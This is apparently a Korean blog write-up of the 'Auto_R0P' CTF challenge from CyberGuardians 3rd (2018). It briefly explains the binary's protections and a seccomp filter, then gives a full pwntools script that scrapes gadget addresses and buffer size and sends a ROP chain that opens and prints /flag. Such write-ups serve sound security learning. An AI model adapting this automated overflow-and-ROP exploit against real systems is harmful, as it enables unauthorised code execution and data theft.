hOwDayS 선린 10720

CyberGuardians 3nd Auto_R0P 본문

CTF

CyberGuardians 3nd Auto_R0P

hOwDayS 2018. 9. 2. 19:11



AEG 처음으로 해봣다 ㄸ



RELRO 

Partial RELRO 

Stack Canary

No Canary Found 

 NX

 NX enabled

 PIE

NO PIE 







nc로 들어가게 되면 바이너리를 base64로 인코딩 해서 준다.


몇번 실행하다보면 조금씩 다른 걸 볼 수 있다.




seccomp 필터를 걸어서 기존방식대로 ROP를 할 수 없다.


seccomp-tools로 덤프한 결과이다





필요없다



우리가 ROP를 하기 위해선 


가젯 주소와 버퍼의 크기를 알아야되는데 랜덤이라서


자동화 코드를 짜야 된다.


objdump와 ROPgadget을 이용했다.



1. read로 /flag 를 bss에 넣는다


2. open으로 연다


3. write로 출력




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
import subprocess
 
= remote("13.209.132.255",8888)
 
#save binary
p.recvuntil("base64.\n")
binary = p.recvuntil("\n\n").decode("base64")
open("rop_binary","w").write(binary)
 
 
#Get binary informations
buf_size = int(subprocess.check_output("objdump -d ./rop_binary -M intel | grep lea",shell=True).split("\n")[2].split("-")[1].replace("]",""),16)
pop_csu_gadget= int(subprocess.check_output('objdump -d ./rop_binary -M intel | grep "pop    rbx"',shell=True).split(":")[0],16)
pop_rdi = int(subprocess.check_output('ROPgadget --binary ./rop_binary  | grep "pop rdi"',shell=True).split(":")[0],16)
pop_rsi_r15 = int(subprocess.check_output('ROPgadget --binary ./rop_binary  | grep "pop rsi"',shell=True).split(":")[0],16)
 
log.info("buf_size : " + hex(buf_size))
log.info("pop_csu_gadget : " + hex(pop_csu_gadget))
log.info("pop rdi : " + hex(pop_rdi))
log.info("pop rsi r15 : " + hex(pop_rsi_r15))
 
= ELF("./rop_binary")
 
#set /flag
payload  = "A" * (buf_size + 8)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(e.bss()+100)
payload += p64(0)
payload += p64(e.plt["read"])
 
#open flag
payload += p64(pop_rdi)
payload += p64(e.bss()+100)
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(e.plt["open"])
 
#read flag
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi_r15)
payload += p64(e.bss()+10)
payload += p64(0)
payload += p64(e.plt["read"])
 
#print flag
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(e.bss()+10)
payload += p64(0)
payload += p64(e.plt["write"])
 
p.send(payload)
p.recvuntil(p64(e.plt["write"]))
sleep(0.3)
p.send("/flag\x00")
 
print p.recvuntil("}")
 
cs


'CTF' 카테고리의 다른 글

Layer7 CTF 2018 write-up  (0) 2018.09.18
CyberGuardians 3nd CGhigh  (0) 2018.09.02
CyberGuardians 3nd GNote  (0) 2018.09.02
RCTF Rnote1  (0) 2018.08.20
yisf 2018 예선 writeup  (0) 2018.08.16
Comments